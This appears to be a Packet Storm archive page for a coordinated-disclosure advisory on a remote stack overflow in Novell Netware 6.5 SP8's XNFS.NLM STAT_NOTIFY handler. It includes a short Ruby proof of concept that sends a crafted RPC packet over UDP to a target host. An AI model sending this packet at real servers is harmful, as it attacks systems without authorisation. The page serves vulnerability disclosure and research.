ignore security and it'll go away

Novell Netware XNFS.NLM STAT Notify Remote Code Execution

Novell Netware XNFS.NLM STAT Notify Remote Code Execution
Posted Jan 7, 2012
Authored by Francis Provencher

Novell Netware version 6.5 SP8 suffers from a XNFS.NLM STAT Notify remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | e949872ec1d486d378b559f2ae10cbf2

Novell Netware XNFS.NLM STAT Notify Remote Code Execution

Change Mirror Download
#####################################################################################

Application: Novell Netware XNFS.NLM STAT Notify Remote Code Execution Vulnerability

Platforms: Novell Netware 6.5 SP8

Exploitation: Remote code execution

CVE Number:

Novell TID: 5117430

ZDI: ZDI-12-07

{PRL}: 2012-01

Author: Francis Provencher (Protek Research Lab's)

Website: http://www.protekresearchlab.com/

Twitter: @ProtekResearch


#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts.
The company specializes in enterprise operating systems, such as SUSE Linux Enterprise
and Novell NetWare; identity, security, and systems management solutions; and
collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software
development. Novell technology contributed to the emergence of local area networks,
which displaced the dominant mainframe computing model and changed computing worldwide.
Today, a primary focus of the company is on developing open source software for
enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Timeline
============================

2011-05-05 - Vulnerability reported to vendor
2012-01-05 - Coordinated public release of advisory

#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware.

Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which

is used when handling NFS RPC requests. This process listens on UDP and TCP port 32778. When decoding the

xdr encoded data from an STAT_NOTIFY procedure request the process uses the user supplied length as the

bounds for its copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code

under the context of the system.


#####################################################################################

===========
4) The Code
===========

#!/usr/bin/ruby

require 'socket'

rpc_server = (ARGV[0])
target_port = (ARGV[1] || 32778)

#RPC/Portmap packet
beepbeep=
"\x1c\xd1\xef\xab" + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xb8" + # Program: 100024
"\x00\x00\x00\x01" + # Program Version: 1
"\x00\x00\x00\x06" + # Procedure: Notify

"\x00\x00\x00\x01\x00\x00\x00\x18\x09\x27\x4a\x76\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL



"\x41\x41\x41\x41"



puts "[+]Sending UDP Packet...\n"
puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"


if (!(rpc_server && target_port))
puts "Usage: PRL-2012-01.rb host port (default port: 32778)\n"
exit
else

sock = UDPSocket.open
sock.connect(rpc_server, target_port.to_i)
sock.send(beepbeep, 0)
end


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close